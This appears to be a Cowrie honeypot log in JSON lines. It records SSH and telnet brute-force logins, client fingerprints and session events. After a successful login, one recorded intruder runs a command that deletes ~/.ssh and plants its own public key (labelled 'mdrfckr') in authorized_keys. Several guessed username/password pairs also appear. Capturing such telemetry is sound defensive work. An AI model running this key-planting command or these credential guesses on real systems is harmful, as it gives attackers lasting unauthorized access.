{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:40.609109Z","src_ip":"159.203.92.129","session":"4a0cc9340d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amitra","password":"amitra","message":"login attempt [amitra/amitra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:40.625670Z","src_ip":"159.203.92.129","session":"4a0cc9340d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:41.633005Z","src_ip":"159.203.92.129","session":"4a0cc9340d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.58453583717346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:42.125184Z","src_ip":"162.253.42.116","session":"f40319c33076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bafe226bcc","protocol":"telnet","message":"New connection: 162.253.42.116:42206 (10.17.0.5:23) [session: 45bafe226bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:47.082863Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46160,"dst_ip":"10.17.0.5","dst_port":23,"session":"11084b944fa2","protocol":"telnet","message":"New connection: 162.253.42.116:46160 (10.17.0.5:23) [session: 11084b944fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:51.796963Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47332,"dst_ip":"10.17.0.5","dst_port":23,"session":"4664cd412b96","protocol":"telnet","message":"New connection: 162.253.42.116:47332 (10.17.0.5:23) [session: 4664cd412b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:51.868022Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac49e74b9464","protocol":"telnet","message":"New connection: 162.253.42.116:50552 (10.17.0.5:23) [session: ac49e74b9464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:54.904557Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"8969526b2856","protocol":"ssh","message":"New connection: 102.213.34.99:58014 (10.17.0.5:22) [session: 8969526b2856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:57.469860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:57.475040Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:57.645819Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12","message":"login attempt [steam/12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:58.361178Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:58.754330Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:58.758015Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:58.761473Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:58.934586Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.323848Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.328343Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.505818Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.509798Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58020,"dst_ip":"10.17.0.5","dst_port":22,"session":"36da391488db","protocol":"ssh","message":"New connection: 102.213.34.99:58020 (10.17.0.5:22) [session: 36da391488db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.672395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.676769Z","src_ip":"102.213.34.99","session":"36da391488db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:59.848377Z","src_ip":"102.213.34.99","session":"36da391488db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:00.559901Z","src_ip":"102.213.34.99","session":"36da391488db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:01.735848Z","src_ip":"102.213.34.99","session":"36da391488db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"140956f183e1","protocol":"ssh","message":"New connection: 102.213.34.99:58026 (10.17.0.5:22) [session: 140956f183e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:01.901344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:01.908830Z","src_ip":"102.213.34.99","session":"140956f183e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:02.084175Z","src_ip":"102.213.34.99","session":"140956f183e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:02.794720Z","src_ip":"102.213.34.99","session":"140956f183e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:02.968744Z","src_ip":"102.213.34.99","session":"8969526b2856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:02.974950Z","src_ip":"102.213.34.99","session":"140956f183e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11327,"dst_ip":"159.203.135.109","dst_port":22,"session":"1748819bd7cf","protocol":"ssh","message":"New connection: 2.57.121.25:11327 (159.203.135.109:22) [session: 1748819bd7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:06.426395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:06.432438Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:06.533994Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"essence","message":"login attempt [user/essence] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:07.013376Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee02ad09738","protocol":"telnet","message":"New connection: 162.253.42.116:35880 (10.17.0.5:23) [session: 3ee02ad09738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:07.509612Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"escobar","message":"login attempt [user/escobar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:08.116772Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93328380584717,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:09.098599Z","src_ip":"162.253.42.116","session":"9f00ae5a4cd5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"error","message":"login attempt [user/error] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:09.220217Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ericka","message":"login attempt [user/ericka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:10.399311Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"edmund","message":"login attempt [user/edmund] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:11.507200Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:12.611242Z","src_ip":"2.57.121.25","session":"1748819bd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fb335886e67","protocol":"telnet","message":"New connection: 162.253.42.116:40290 (10.17.0.5:23) [session: 7fb335886e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:12.841638Z"}
{"eventid":"cowrie.session.closed","duration":37.377230167388916,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:16.089209Z","src_ip":"162.253.42.116","session":"8ec87eb17e07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46112,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5cb1d96aa7","protocol":"telnet","message":"New connection: 162.253.42.116:46112 (10.17.0.5:23) [session: 8b5cb1d96aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:17.240597Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46608,"dst_ip":"10.17.0.5","dst_port":23,"session":"2116bdb1ba5e","protocol":"telnet","message":"New connection: 162.253.42.116:46608 (10.17.0.5:23) [session: 2116bdb1ba5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:20.689660Z"}
{"eventid":"cowrie.session.closed","duration":37.346744537353516,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:24.429515Z","src_ip":"162.253.42.116","session":"45bafe226bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43282,"dst_ip":"159.203.135.109","dst_port":22,"session":"10fc43f8ef25","protocol":"ssh","message":"New connection: 159.203.92.129:43282 (159.203.135.109:22) [session: 10fc43f8ef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.163662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:01:26.169055Z","src_ip":"159.203.92.129","session":"10fc43f8ef25","protocol":"ssh"}
